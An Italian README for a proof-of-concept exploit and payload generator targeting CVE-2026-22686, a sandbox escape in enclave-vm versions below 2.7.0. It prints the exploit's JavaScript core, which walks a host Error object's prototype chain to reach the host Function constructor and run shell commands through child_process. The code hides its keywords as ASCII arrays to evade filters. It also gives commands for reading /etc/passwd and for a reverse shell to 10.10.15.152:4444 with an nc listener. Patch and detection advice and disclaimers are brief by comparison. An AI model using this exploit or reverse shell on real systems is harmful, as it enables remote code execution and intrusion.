Proof-of-concept exploit e generatore di payload per CVE-2026-22686, un sandbox escape in enclave-vm <2.7.0 che consente l'esecuzione di codice arbitrario e reverse shell.
Un exploit proof-of-concept (PoC) e generatore di payload per CVE-2026-22686, una vulnerabilità critica di sandbox escape in enclave-vm versioni precedenti alla 2.7.0, che consente l'esecuzione di codice arbitrario all'interno del runtime Node.js host.
⚠️ Disclaimer: Questo strumento è fornito esclusivamente per scopi educativi e di security testing autorizzato. L'utilizzo contro sistemi senza previo consenso scritto è illegale. L'autore non si assume alcuna responsabilità per qualsiasi uso improprio.
enclave-vm è una libreria di sandboxing JavaScript progettata per eseguire in modo sicuro codice non attendibile all'interno di un ambiente controllato. Nelle versioni < 2.7.0, un difetto nel modo in cui gli oggetti errore lato host vengono esposti alla sandbox consente a un attaccante di risalire la catena di prototipi e raggiungere il costruttore Function dell'host, aggirando di fatto la sandbox.
Questo repository contiene:
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Critico) |
| CWE | CWE-693 — Protection Mechanism Failure |
| Componente | enclave-vm |
| Affette | < 2.7.0 |
| Corretta in | 2.7.0 |
| Impatto | Sandbox escape → esecuzione di codice arbitrario (RCE) |
Quando una chiamata a uno strumento in sandbox fallisce, enclave-vm espone l'oggetto Error lato host al codice in sandbox. Poiché questo oggetto errore mantiene la sua catena di prototipi originale dall'ambiente host, un attaccante può risalire la catena come segue:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Una volta ottenuto il costruttore Function dell'host, l'attaccante può compilare ed eseguire JavaScript arbitrario nel runtime host — aggirando completamente la sandbox.
L'exploit segue questi passaggi:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor, che è la Function dell'host.Function dell'host ed eseguirlo.child_process ed esegue un comando shell arbitrario (o avvia una reverse shell).Tutte le parole chiave sensibili (constructor, __proto__, __lookupGetter__, prototype) sono offuscate come codici ASCII per aggirare i filtri statici più semplici.
Nessuna dipendenza esterna — utilizza solo la libreria standard di Python.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Requisiti:
python3 generator.py
Ti verrà chiesto di:
Poi copia il payload generato e incollalo nell'input della sandbox vulnerabile.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminale 1 (attaccante — listener):
nc -lvnp 4444
Terminale 2 (generatore):
python3 generator.py --revshell 10.10.15.152 4444
Copia il payload risultante e incollalo nella sandbox. Dovresti ricevere una shell nel Terminale 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Flag | Descrizione |
|---|---|
-c, --command | Comando shell da eseguire |
--revshell LHOST LPORT | Genera un payload reverse shell |
--raw | Stampa solo il payload (nessun banner, nessuna decorazione) |
--lang {fr,en} | Forza la lingua dell'interfaccia |
-h, --help | Mostra aiuto ed esempi |
const s = (...args) => String.fromCharCode(...args);
Un piccolo helper per decodificare array di codici ASCII a runtime.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Evita filtri banali basati su stringhe.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
La Function dell'host viene quindi utilizzata per eseguire il comando dell'attaccante tramite child_process.execSync().
Per gli sviluppatori:
enclave-vm a >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).Per utenti / organizzazioni:
Rilevamento:
Cercare richieste HTTP o invii di codice contenenti callTool('NONEXISTENT', __lookupGetter__, lunghi array di letterali interi separati da virgole, oppure child_process / execSync.
Questo progetto è pubblicato strettamente per ricerca educativa e di sicurezza difensiva. È destinato a ricercatori di sicurezza, penetration tester autorizzati e giocatori di CTF.
Non utilizzare questo strumento contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test. L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni (CFAA negli Stati Uniti, Computer Misuse Act nel Regno Unito, Articolo 323-1 in Francia) e può comportare severe sanzioni penali.
Utilizzando questo software, accetti che l'autore non è responsabile per eventuali danni o conseguenze legali derivanti dal suo utilizzo.
Questo progetto è distribuito sotto la Licenza MIT — consulta il file LICENSE per i dettagli.
enclave-vm per la divulgazione responsabile e la correzioneLe pull request sono benvenute. Per modifiche importanti, apri prima una issue.
Miglioramenti suggeriti:
vm2, isolated-vm)